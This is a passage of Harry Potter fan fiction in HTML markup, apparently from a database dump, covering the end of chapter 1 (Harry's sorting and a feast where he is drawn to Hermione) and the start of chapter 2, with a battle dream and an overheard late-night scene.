style="text-indent:.25in">Harry nodded,\nhe was relieved finally meet someone who didn&#8217;t make such a big deal out of who\nhe was.&nbsp; He got into a boat with some\nfirst years and it started over the lake.&nbsp;\nSoon the mysterious school was there before him.&nbsp; The boats docked and he disembarked.&nbsp; He stepped inside with the first years and\nthere was Professor McGonagall who was giving her famous speech about the four\ndifferent houses. </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Harry walked with the first years\nthrough four large tables full of students, all eyes on them.&nbsp; Sitting on a stool before the high table was a old, dingy looking hat.&nbsp;\nThe students also stood before the High Table where the Headmaster stood\nand gave his beginning of the year speech.&nbsp;\nHe told them that the Forbidden\n Forest was off limits to any and\nevery student, and he hoped for a glorious, prosperous year.&nbsp; He sat down as the sorting ceremony was\nunderway.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">The sorting hat gave its little\nsong and when it was finished McGonagall opened her scroll and started to read.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Potter, Harry.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">The whole room broke out into a\nbunch of whispers and such as he went and sat down on the stool.&nbsp; The hat was placed on his head.&nbsp; He could hear it speaking.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Ah, Harry Potter, I see that you\nhave a great head on your shoulders, smart, very intelligent.&nbsp; Oooh what&#8217;s this,\ngood worker you are, very loyal.&nbsp;\nAmbitious too, you strive for things that are almost beyond your reach,\nand achieve them.&nbsp; Such bravery here too,\ndefeated a powerful Dark Wizard, alone.&nbsp; But where to put you? So many qualities from each house,\nmuch like another who I sat upon.&nbsp; Wait,\nyes, yes I know where you shall go.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Gryffindor!!&#8221;\nThe hat shouted out.&nbsp; The whole\nGryffindor table cheered a bit, most of them were a little nervous, the\nstudents heard that Harry defeated Voldemort with a mind control curse.&nbsp; No one was really there so how could they\nknow what really went on.&nbsp; Students\nquickly moved over as Harry sat down.&nbsp; He\nsat down next to red head with long hair.&nbsp;\nHe smiled briefly at her, and she smiled back a little. She looked down in\nthe direction of the sorting ceremony.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Harry looked about the table, he\nsaw Neville all the way down near the middle of the table.&nbsp; Harry then scanned the table all the way back\nto where he was sitting and across the table from him was that red head Ron\nWeasley and his girlfriend.&nbsp; They were\nwatching the sorting ceremony, which was still going on.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;This is so dull, when are they\ngoing to finish already?&#8221; Ron said in a soft whisper.&nbsp; &nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;I don&#8217;t know.&#8221; Hermione\nsofter.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">After the ceremony was over the\nfeast had began, Ron immediately filled his plate and started in on the\nfood.&nbsp; He was talking to a boy next to\nhim. &nbsp;Both Harry and Hermione went to\ngrab the same piece of bread from the center or the table, their fingers\nlightly touched and Hermione pulled her hand back like a flash. </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Oh, I&#8217;m sorry did you want this?&#8221;\nHarry held the bread out to her.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Hermione nodded, her eyes never\nleft the plate as she reached out her open hand.&nbsp; Harry placed the bread in her hand, he tried\nto catch her eye but she wasn&#8217;t looking up at him.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Thank you.&#8221; She said softly.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Harry could have sworn there was a\nlight pink tinge upon her cheeks.&nbsp;\n&#8220;Sure.&#8221; He said.&nbsp; &#8220;Would you like\nanything else?&#8221;&nbsp; </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Hermione smiled a little, he was\noffering something to her.&nbsp; Ron never\noffered her anything.&nbsp; He always just\ntook, and took expecting her to fend for herself most of the time. She lifted\nher head. </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">And <b style="mso-bidi-font-weight:\nnormal">WHAM!!</b> Harry was hit with those big brown eyes looking right at\nhim. All coherent thought was lost, his mind shut down.&nbsp; Her eyes were hypnotic and commanding.&nbsp;&nbsp; No wonder she was off limits to other guys,\nthey would drown in her deep pools of brown with flecks of gold.&nbsp; They would fall at her feet if she looked at\nthem like that, well if she looked at them at all.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Through the corner of his eye he\nsaw Ron&#8217;s hand cover over hers, and her gaze dropped again looking back down\ninto her plate.&nbsp; Harry wanted to shout\nNO!! KEEP THOSE BEAUTIFUL EYES ON ME!!! But he restrained himself from acting\nso foolishly.&nbsp; If it was possible for\nsomeone to enchant another just by looking at them, he was sure she could be\nthe one to do such an act.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Hermione grabbed a few things off\nthe table and sat them on her plate and began to eat them slowly.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Ron cleared his throat, &#8220;So\nPotter&#8221; Ron started. &#8220;Do you play Quidditch?&#8221; He stuck a piece of chicken in\nhis mouth.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Harry nodded, &#8220;I do.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;What position?&#8221; Ron watched him\ncarefully. </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in"><i style="mso-bidi-font-style:\nnormal">&#8216;Straddling your girlfriend while she looks at me with those beautiful\nbrown eyes comes to mind.&#8217;</i>&nbsp; Harry\nthought.&nbsp; He took in a small breath &#8220;I\nplay Seeker.&#8221;&nbsp; Harry said with a\nconfident smile.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;So do I.&#8221; Ron gave off a forced\nsmile.&nbsp; &#8220;Are you going to try out for our\nhouse team?&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Sure why not?&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Just to let you know, I am the\nbest around here. We have won the house cup three years in a row since I&#8217;ve\nbeen on the team.&nbsp; I&#8217;m what you call the\nmost valuable player.&#8221; Ron went on and on about how great he was.&nbsp; Harry was board, he sighed, rolled his eyes.\nChanged positions so his rear end would stop going numb as Ron continued to\nspeak about how wonderful and talented he was.&nbsp;\nHarry thought he heard a small snigger come from Hermione when he rolled\nhis eyes at Ron&#8217;s greatness.&nbsp; &#8220;And then I\nsingle handedly caught the snitch after two hours of playing and we won.&#8221; Ron\nsaid proudly.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;That&#8217;s very fascinating and all,&#8221;\nHarry said politely trying to hold in his sarcasm, &#8220;When exactly are tryouts?&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Friday at nine in the morning, I\nhope you can make it.&#8221; Ron said sarcastically.&nbsp;\nHe stretched his arms up.&nbsp; &#8220;Well\nI&#8217;m finished and tired.&#8221; He turned to Hermione. &#8220;Let&#8217;s go.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Hermione looked up at Ron, &#8220;but\nI&#8217;m still&#8212;&#8221; She was cut off by Ron&#8217;s hand squeezing hers a bit. She stopped\ntalking &#8220;All right, I suppose I&#8217;m finished too.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Both Ron and Hermione stood from\nthe table,&nbsp; Ron\nsmirked at his friends, or who were really afraid of him and treated him like\ntheir friends so he wouldn&#8217;t beat them to a bloody pulp.&nbsp; &#8220;See yah later guys.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Bye Ron&#8217;s were echoed through the\ntable as he and Hermione left The Great Hall.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;He is the biggest Ass I have ever\nmet.&#8221; Harry said. The whole table just about burst into\nlaughter. &#8220;I&#8217;m serious, I have never ever heard\nanyone more full of themselves than that guy.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Excuse me.&#8221;\nA soft feminine voice came from next to Harry,</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">He turned and the red head was\nlooking at him, sure she was pretty and she too also had nice eyes.&nbsp; But nothing like he had\nfelt when that other girl, Ron&#8217;s girlfriend had looked at him. &#8220;yes?&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;But Ron,\nhappens to be my brother.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Oh I&#8217;m sorry,\nI didn&#8217;t mean to offend you.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">She smiled, &#8220;It&#8217;s alright, he is an ass.&#8221; She laughed.&nbsp;\n&#8220;I&#8217;m Virginia Weasley, everyone just calls me\nGinny though.&#8221; </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Well I&#8217;m just Harry, Oh I&#8217;ve\nheard your name mentioned before, you&#8217;re um.&#8221; He snapped his fingers a few\ntimes and then it came to him. &#8220;Neville&#8217;s girl.&#8221; Harry\nsaid.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Shhh.&#8221; Ginny said as she glanced about the table\nnervously. &#8220;Let&#8217;s not go spreading that around, if Ron finds out he will surely\nput Neville into the hospital wing.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Harry nodded. &#8220;I got it.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;I heard you play Seeker, I&#8217;m a\nkeeper myself.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Harry looked at her as if she had\ngrown another head.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Hey! I may be small, but I&#8217;m\nquick.&#8221; Ginny smiled.&nbsp; &#8220;Now if we could\nonly get Hermione to play, she is tall and well she&#8217;s quick on a broom\ntoo.&nbsp; But she never wants to play.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Why is that?&#8221; Harry asked.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;She says she has some fear of heights,\nbut when she really wants to or has to use that broomstick, she does. I see her\non it all the time but she&#8217;s usually in some kind of rush.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Are you friends with her?&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Well as good a friend as I can be\nwith her as my brother&#8217;s girlfriend, they are so cute together you have to\nadmit.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Harry nodded, &#8220;Sure, why not.&nbsp; Although, don&#8217;t you think their hair colors\nclash?&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Ginny giggled a bit, &#8220;Yeah I\nsuppose they do. I never thought of that.&#8221; Ginny shrugged.&nbsp; Something hit Ginny&#8217;s plate and she looked up,\nshe saw Neville signaling with another one of his eyebrow languages.&nbsp; She looked back at Harry with a smile, &#8220;It\nwas nice to meet you Harry, but I have some important business that needs to be\ntaken care of.&nbsp; I&#8217;ll see you\naround.&#8221;&nbsp; Ginny got up from the table and\nstarted towards the Great Hall doors</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Harry yawned and took one last\ndrink out of his cup, he was going to retire for the\nnight as well.&nbsp; He found another\nGryffindor to lead him tower. He was given the password which was Minty Fresh.&nbsp; And he\nwent inside, he heard two people arguing. He didn&#8217;t know what it was\nabout.&nbsp; He saw Neville downstairs looking\nup towards where the arguing was coming from.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Harry touched Neville on the\nshoulder and he just about jumped up and touched the ceiling.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Great ghosts of Merlin Harry, you\nscared the crap out of me.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Harry chuckled\n&#8220;Sorry, what&#8217;s going on?&#8221; He looked up in the direction that Neville was\nlooking.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Well Ginny said she had to get something, ..Important..&nbsp; from the girls dorm\nand told me to wait here.&nbsp; So while I was\nwaiting here I heard Ron and Hermione start into one of their usual arguments.&#8221;\nNeville looked back up towards the.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Do they argue a lot?&#8221; Harry\ncontinued listening to the noise.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Yeah.&#8221;\nNeville said, he sighed. &#8220;They are argue all the time.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">He saw Ginny open the door and\ncome quickly down the stairs.&nbsp; She smiled\nat him, &#8220;Okay let&#8217;s go to the astronomy tower Neville, we&#8217;ll have privacy\nthere.&#8221; She wiggled her eyebrows at him.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Neville nodded, &#8220;All right.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Ginny took his hand and started\npulling him from the stairs,&nbsp;\nNeville was still looking up at the door.&nbsp; &#8220;Neville, come on let&#8217;s go.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Neville turned to Ginny with a\nsmile and the portrait swung open and the two of them left for the astronomy\ntower.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Harry yawned again figuring the\nboys dorm must be the other set of stairs and he climbed them getting to the\ndoor.&nbsp; He noticed the arguing abruptly\nstopped, he figured they must be making up and he opened the door and stepped\ninside.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Harry in the sixth year boy&#8217;s dorm\nfound where his stuff was put, and he stripped out of his clothes wearing\nnothing but his boxers, he got into his bed and closed his eyes.&nbsp; He looked over at the other bed and noticed\nthere was someone already in it.&nbsp; He\nnoticed that person still had their glasses on, he was\nrelieved that he didn&#8217;t have those anymore, through his research of spells and\ncurses he found something to help correct his vision.&nbsp; He used it and it was a success.&nbsp; He lifted his hand &#8220;Accio\nglasses.&#8221; He whispered.&nbsp; He had been able\nto do wandless magic, nothing too grand he was able to move just little\nthings.&nbsp; Yet it was still a great thing\nto be able to do even that, not very many wizards and witches around could do\nwandless magic.&nbsp; He set the glasses on\nthe nightstand next to his bed which was in between his and the other\nboys.&nbsp; </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">He knew what it was like to sleep\nwith your glasses on and then have them break or bend, that was never a good\nthing.&nbsp; So he set the glasses on the\ntable. And turned over to sleep.&nbsp; He was almost asleep, he vaguely heard someone\ncoming into the room and getting into the other bed next to his whispering\nsomething that sounded like cupid girl.&nbsp;\nHe was really too out of it to know what was really said.&nbsp; Harry had found sleep.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">========</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Well that&#8217;s it for chapter 1, I hope it wasn&#8217;t too bad.&nbsp;\nNow the first chapter was in Harry&#8217;s POV but the rest of the chapters\nwill be in everyone&#8217;s POV.&nbsp; I&#8217;m sure you\nall know that by now when you read anything from me we always start with\nHarry&#8217;s POV. Mostly cause he&#8217;s the most important guy.&nbsp; Well I hope you all stay tuned for chapter 2 , read and review thanks, Ryoko.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;&nbsp;\n</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n\n\n\n\n\n'),
	(24, 2, '\n\n\n\n\n\n\n\n<p class="MsoNormal" style="text-indent:.25in">Disclaimer: Not mine, Not mine.\nDefinitely not mine. The entire HP world belongs to JK Rowlings.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\nHidden Beneath &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Chapter\n2&#8212; Oddities</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Harry tossed and turned in his\nsleep.&nbsp; He was still haunted by the\nmemories of who he had eliminated when he was forced to either kill Voldemort\nor be killed himself.&nbsp; &#8211;<i style="mso-bidi-font-style:normal">He was fighting hard for his life, using a\nnumber of curses plus a muggle sword with an enchantment on it.&nbsp; The large thick poisoned blade turned bright\nred, burning hoter and hoter\nas it got nearer to its victim.&nbsp; He ran through\na crowd of death eaters, hearing their pitiful screams as he swung the blade in\nall directions, one swipe from the sword anywhere on the body and it resulted\nin instant death.</i></p>\n\n<p class="MsoNormal" style="text-indent:.25in"><i style="mso-bidi-font-style:\nnormal">&nbsp;</i></p>\n\n<p class="MsoNormal" style="text-indent:.25in"><i style="mso-bidi-font-style:\nnormal">He didn&#8217;t know how many he killed, he couldn&#8217;t keep count on his fingers\nthat&#8217;s for sure.&nbsp; Harry was confronting\nVoldemort who stood there before him.&nbsp; He\ncouldn&#8217;t hear what was said, Harry just quickly lifted his hand and summoned Voldemort&#8217;s wand.&nbsp;\nThen while using Voldemort&#8217;s wand he shouted a\nnumber of curses in all directions while the wizard dodged them the best he\ncould, one out of pure luck bashed into Voldemort and he fell to the ground. </i></p>\n\n<p class="MsoNormal" style="text-indent:.25in"><i style="mso-bidi-font-style:\nnormal">&nbsp;</i></p>\n\n<p class="MsoNormal" style="text-indent:.25in"><i style="mso-bidi-font-style:\nnormal">Harry quickly rushed over to Voldemort who seemed dazed.&nbsp; He lifted the blade. &#8220;You lose.&#8221; Harry said\nand he brought the blade down into Voldemort&#8217;s\nheart.&nbsp; He lifted the blade once more and\nsliced off his head to prevent any spirit from leaving to attempt to renew\nitself.&nbsp; Large shadow like hands reached\nup from the earth and grabbed a hold on Voldemort&#8217;s\nbody.&nbsp; The body appeared as if it were\nbeing sucked dry of all its fluids.&nbsp; All\nthat was left was a pile of skin.&nbsp;\nVoldemort was dead, he was gone and he wasn&#8217;t coming back.&#8212;</i>Harry sat\nup in his bed, he hated having that dream.&nbsp;\nHe needed to get some air.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">He stood and quietly put on his\nshirt and slippers and started for the door.&nbsp;\nHarry opened the door, he could hear two people talking and girl and\nboy, their voices were low and hushed.&nbsp;\nOne of them sounded like Neville, he must be still up with Ginny, Harry\nthought.&nbsp; He really didn&#8217;t want to\ninterrupt them.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Just put it back in, it will feel\nbetter in a minute.&#8221; She said her voice sounded shaky.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Are you sure? I mean, I don&#8217;t\nwant to hurt you more.&#8221; Neville replied.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Please?&#8221; She asked, her breath\nwas short.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Oh all right then.&#8221; There was a\npause.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">A muffled cry came from the\ngirl.&nbsp; </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Shhh, shh it&#8217;s okay, I&#8217;ve got it.&#8221; Neville said in a soothing,\nsoft tone.&nbsp; &#8220;Is that any better?&#8221; Neville\nasked.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Her breathing was hard and\nerratic, &#8220;Yes&#8212;it&#8212;feels&#8212;much&#8212;better.&#8221;&nbsp;\nAfter a few minutes her breathing settled &#8220;Well I&#8217;m done.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Are you sure there&#8217;s not\nsomething more?&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;No, that&#8217;s it.&nbsp; I&#8217;ll head up to bed now.&nbsp; Thank you Neville.&#8221;&nbsp; She started up the stairs and Harry backed up\ninto the shadows.&nbsp; </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Harry was surprised to see a brown\nhead instead of a red head, Harry turned and looked down into the common room,\nwas Neville cheating on Ginny? What an asshole Harry thought. Even though he\nhad just met them, Ginny seemed really nice and so did Neville.&nbsp; How could he do such a thing.&nbsp; Harry heard footsteps coming up the stairs,\nit was most assuredly Neville&#8217;s.&nbsp; Harry\nstood there at the door with his arms crossed over his chest when Neville came\ninto sight.&nbsp; </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Late night?&#8221; Harry asked\ncasually.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;It&#8217;s always a late night, what\nare you doing up?&#8221; Neville asked.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Oh I decided to take a walk,\nclear my head a bit.&#8221; Harry took in a breath and leaned causally against the\ndoor. &#8220;I come out of the dorm and hear a most interesting conversation between\nyou and Ginny, or who I thought might be you and Ginny.&nbsp; Much to my surprise I find that instead of a\nred head, I see a brunette leaving from the common room.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;How much did you see?&#8221; Neville\nasked worriedly.</p>\n\n<p class="MsoNormal" 